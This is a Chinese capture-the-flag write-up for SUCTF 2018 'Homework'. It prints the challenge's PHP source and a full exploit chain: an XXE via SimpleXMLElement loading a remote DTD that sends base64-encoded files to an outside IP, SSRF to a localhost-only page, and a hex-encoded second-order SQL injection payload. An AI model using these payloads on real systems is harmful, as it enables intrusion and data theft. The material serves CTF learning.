[SUCTF 2018]Homework
SimpleXMLElement引入远程XML 随便注册一个账号登陆进去看看
calc按钮回显结果,第一眼看到这个以为是什么骚姿势利用eval执行命令,但是这两个intval我努力挣扎了两下没办法绕过
但是仔细看这里传入的参数,calc不就是类名吗,剩下的三个就是参数了,这时候就到主角登场了
SimpleXMLElement
php原生类,是一个用于解析XML文档中元素的内置类
1 2 3 4 5 6 7 public SimpleXMLElement ::__construct ( string $data , int $options = 0 , bool $dataIsURL = false , string $namespaceOrPrefix = "" , bool $isPrefix = false )
设置第三个参数dataIsURL
为true
就可以实现远程xml文件的导入
第二个参数的常量值设置为2即可,第一个参数data就是我们引入外部实体的url
搭建aaa.dtd
1 2 3 4 <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://39.105.125.61/evil.dtd"> %remote;%int;%send; ]>
evil.dtd
1 2 <!ENTITY % file SYSTEM "php://filter/read/convert.base64-encode/resource=function.php"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://39.105.125.61:666?q=%file;'>">
然后传参直接开梭
1 show.php?module=SimpleXMLElement&args[]=http://39.105.125.61/aaa.dtd&args[]=2&args[]=true
…………
想着直接盲猜flag文件,但都猜错了,然后尝试文件包含构造命令执行链子无果,直接命令执行data://text/palin,<?php echo system('ls');?>
也不行,应该是把shell_exec过滤了⑧
只好老老实实的读文件了
SQL二次注入配合ssrf 过滤的好严格…..Orz
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <!DOCTYPE html> <html> <head> <title>PHP Homework Platform</title> <meta name="viewport" content="width=device-width, initial-scale=1" > <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <script type="application/x-javascript" > addEventListener ("load" , function() { setTimeout (hideURLbar, 0 ); }, false ); function hideURLbar ( ) { window.scrollTo (0 ,1 ); } </script> <link href="css/font-awesome.min.css" rel="stylesheet" type="text/css" media="all" > <link href="css/snow.css" rel="stylesheet" type="text/css" media="all" /> <link href="css/style.css" rel="stylesheet" type="text/css" media="all" /> <link type="text/css" rel="stylesheet" href="images/Styles/SyntaxHighlighter.css" ></link> </head> <body> <!-- /home/wwwroot/default --> <div class ="snow -container "> <div class ="snow foreground "></div > <div class ="snow foreground layered "></div > <div class ="snow middleground "></div > <div class ="snow middleground layered "></div > <div class ="snow background "></div > <div class ="snow background layered "></div > </div > <div class ="top -buttons -agileinfo "> </div > <h1 >PHP Homework Platform </h1 > <div class ="main -agileits "> <?php include ("function .php "); include ("config .php "); $username =w_addslashes ($_COOKIE ['user ']); $check_code =$_COOKIE ['cookie -check ']; $check_sql ="select password from user where username ='".$username ."'"; $check_sum =md5 ($username .sql_result ($check_sql ,$mysql )['0']['0']); if ($check_sum !==$check_code ) { header ("Location: login.php" ); } ?> <textarea name="code" class ="php " rows ="20" cols ="55" disabled ="disabled "> <?php readfile ("./calc .php ");?> </textarea > <div class ="top -buttons -agileinfo "> <a href ="show .php ?module =calc &args []=2&args []=a &args []=2">calc </a > <a href ="submit .php " class ="active ">Submit homework </a > </div > </div > <script type ="text /javascript " src ="js /jquery -2.1.4.min .js "></script > <script class ="javascript " src ="images /Scripts /shBrushPhp .js "></script > <script class ="javascript "> dp .SyntaxHighlighter .HighlightAll ('code '); </script > </body > </html >
submit.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <!DOCTYPE html> <html> <head> <title>PHP Homework Platform</title> <meta name="viewport" content="width=device-width, initial-scale=1" > <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <script type="application/x-javascript" > addEventListener ("load" , function() { setTimeout (hideURLbar, 0 ); }, false ); function hideURLbar ( ) { window.scrollTo (0 ,1 ); } </script> <link href="css/font-awesome.min.css" rel="stylesheet" type="text/css" media="all" > <link href="css/snow.css" rel="stylesheet" type="text/css" media="all" /> <link href="css/style.css" rel="stylesheet" type="text/css" media="all" /> </head> <body> <div class ="snow -container "> <div class ="snow foreground "></div > <div class ="snow foreground layered "></div > <div class ="snow middleground "></div > <div class ="snow middleground layered "></div > <div class ="snow background "></div > <div class ="snow background layered "></div > </div > <h1 >PHP Homework Platform </h1 > <?php include ("config .php "); include ("function .php "); $username =w_addslashes ($_COOKIE ['user ']); $check_code =$_COOKIE ['cookie -check ']; $check_sql ="select password from user where username ='".$username ."'"; $check_sum =md5 ($username .sql_result ($check_sql ,$mysql )['0']['0']); if ($check_sum !==$check_code ) { header ("Location: login.php" ); } ?> <div class ="main -agileits "> <div class ="form -w3 -agile "> <h2 class ="sub -agileits -w3layouts ">Submit Homework </h2 > <form action ="submit .php " enctype ="multipart /form -data " method ="post "> <input type ="file " name ="file " placeholder ="phpfile " required ="" /> <?php echo "<input type =\"hidden \" name =\"sig \" value =".mt_rand ().">";?> <div class ="submit -w3l "> <input type ="submit " value ="Submit "> </div > </form > </div > </div > <script type ="text /javascript " src ="js /jquery -2.1.4.min .js "></script > </body > </html > <?php upload_file ($mysql ); ?>
function.php
addslashes(trim($string));
一般遇到这种就是宽字节,二次注入,这里编码是utf-8,那么只需要看看哪里的sql语句调用了我们传入的参数即可~~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php function sql_result ($sql ,$mysql ) { if ($result =mysqli_query ($mysql ,$sql )){ $result_array =mysqli_fetch_all ($result ); return $result_array ; }else { echo mysqli_error ($mysql ); return "Failed" ; } } function upload_file ($mysql ) { if ($_FILES ){ if ($_FILES ['file' ]['size' ]>2 *1024 *1024 ){ die ("File is larger than 2M, forbidden upload" ); } if (is_uploaded_file ($_FILES ['file' ]['tmp_name' ])){ if (!sql_result ("select * from file where filename='" .w_addslashes ($_FILES ['file' ]['name' ])."'" ,$mysql )){ $filehash =md5 (mt_rand ()); if (sql_result ("insert into file(filename,filehash,sig) values('" .w_addslashes ($_FILES ['file' ]['name' ])."','" .$filehash ."'," .(strrpos (w_addslashes ($_POST ['sig' ]),")" )?"" :w_addslashes ($_POST ['sig' ])).")" ,$mysql )=="Failed" ) die ("Upload failed" ); $new_filename ="./upload/" .$filehash .".txt" ; move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $new_filename ) or die ("Upload failed" ); die ("Your file " .w_addslashes ($_FILES ['file' ]['name' ])." upload successful." ); }else { $hash =sql_result ("select filehash from file where filename='" .w_addslashes ($_FILES ['file' ]['name' ])."'" ,$mysql ) or die ("Upload failed" ); $new_filename ="./upload/" .$hash [0 ][0 ].".txt" ; move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $new_filename ) or die ("Upload failed" ); die ("Your file " .w_addslashes ($_FILES ['file' ]['name' ])." upload successful." ); } }else { die ("Not upload file" ); } } } function w_addslashes ($string ) { return addslashes (trim ($string )); } function do_api ($module ,$args ) { $class = new ReflectionClass ($module ); $a =$class ->newInstanceArgs ($args ); } ?>
config.php
1 2 3 4 5 6 7 8 <?php $db ="calc" ; $dbusername ="suctf" ; $dbpassword ="suctf" ; $host ="127.0.0.1" ; $mysql =mysqli_connect ($host ,$dbusername ,$dbpassword ,$db ) or die ("connect failed" ); ?>
calc.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php class calc { function __construct__ ( ) { calc (); } function calc ($args1 ,$method ,$args2 ) { $args1 =intval ($args1 ); $args2 =intval ($args2 ); switch ($method ) { case 'a' : $method ="+" ; break ; case 'b' : $method ="-" ; break ; case 'c' : $method ="*" ; break ; case 'd' : $method ="/" ; break ; default : die ("invalid input" ); } $Expression =$args1 .$method .$args2 ; eval ("\$r=$Expression ;" ); die ("Calculation results:" .$r ); } } ?>
show.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php include ("function.php" ); include ("config.php" ); include ("calc.php" ); if (isset ($_GET ['action' ])&&$_GET ['action' ]=="view" ){ if ($_SERVER ["REMOTE_ADDR" ]!=="127.0.0.1" ) die ("Forbidden." ); if (!empty ($_GET ['filename' ])){ $file_info =sql_result ("select * from file where filename='" .w_addslashes ($_GET ['filename' ])."'" ,$mysql ); $file_name =$file_info ['0' ]['2' ]; echo ("file code: " .file_get_contents ("./upload/" .$file_name .".txt" )); $new_sig =mt_rand (); sql_result ("update file set sig='" .intval ($new_sig )."' where id=" .$file_info ['0' ]['0' ]." and sig='" .$file_info ['0' ]['3' ]."'" ,$mysql ); die ("<br>new sig:" .$new_sig ); }else { die ("Null filename" ); } } $username =w_addslashes ($_COOKIE ['user' ]); $check_code =$_COOKIE ['cookie-check' ]; $check_sql ="select password from user where username='" .$username ."'" ; $check_sum =md5 ($username .sql_result ($check_sql ,$mysql )['0' ]['0' ]); if ($check_sum !==$check_code ){ header ("Location: login.php" ); } $module =$_GET ['module' ]; $args =$_GET ['args' ]; do_api ($module ,$args ); ?>
注意这里的$file_info['0']['3']
就是$_POST['sig']
,他会把我们传入的sig拼接到查询语句最后,那就利用这个二次注入
1 sql_result ("update file set sig='" .intval ($new_sig )."' where id=" .$file_info ['0' ]['0' ]." and sig='" .$file_info ['0' ]['3' ]."'" ,$mysql );
1 2 if (sql_result ("insert into file(filename,filehash,sig) values('" .w_addslashes ($_FILES ['file' ]['name' ])."','" .$filehash ."'," .(strrpos (w_addslashes ($_POST ['sig' ]),")" )?"" :w_addslashes ($_POST ['sig' ])).")" ,$mysql )=="Failed" ) die ("Upload failed" );
看到这里的$_POST['sig']
也是在function.php插入时被过滤了的,但是有单引号包裹,因此可以利用十六进制编码来闭合
1 2 3 'or updatexml(1,concat('^',(select reverse(flag) from flag),'^'),1)# 0x276f7220757064617465786d6c28312c636f6e63617428275e272c2873656c656374207265766572736528666c6167292066726f6d20666c6167292c275e27292c312923
但是还有一个条件,
1 if ($_SERVER ["REMOTE_ADDR" ]!=="127.0.0.1" )
很简单,只需要把evil.dtd改动一下,这样就实现了ssrf
1 2 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/show.php?action=view&filename=asds.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://39.105.125.61:666?q=%file;'>">
成功接受~~~
1 2 3 4 5 6 flag{7719cf95-4263-498b-8427-4d a="}7ac3bd78c0d4-7248-b894-3624-59" print(a[::-1]) 95-4263-498b-8427-4d0c87db3ca7}